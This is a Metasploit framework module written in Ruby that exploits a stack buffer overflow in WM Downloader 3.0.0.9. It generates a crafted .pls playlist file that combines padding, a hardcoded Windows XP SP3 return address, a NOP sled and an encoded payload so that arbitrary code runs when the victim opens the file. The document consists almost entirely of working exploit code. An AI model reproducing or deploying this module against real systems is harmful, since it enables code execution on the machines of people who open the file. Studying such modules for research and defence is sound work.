WM Downloader 3.0.0.9 – Local Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'WM Downloader Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack overflow in WM Downloader version 3.0.0.9. By creating a specially crafted .pls file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Blake', ], 'Version' => '$Revision: 1 $', 'References' => [ [ 'OSVDB', '62614' ], [ 'URL', 'http://www.exploit-db.com/exploits/11384' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1904, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ], # ntdll.dll JMP ESP ], 'Privileged' => false, 'DisclosureDate' => 'Feb 10 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'exploit.pls']), ], self.class) end def exploit sploit = rand_text_alphanumeric(26084) sploit << [target.ret].pack('V') sploit << make_nops(20) sploit << payload.encoded sploit << rand_text_alphanumeric(28000 - payload.encoded.length) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |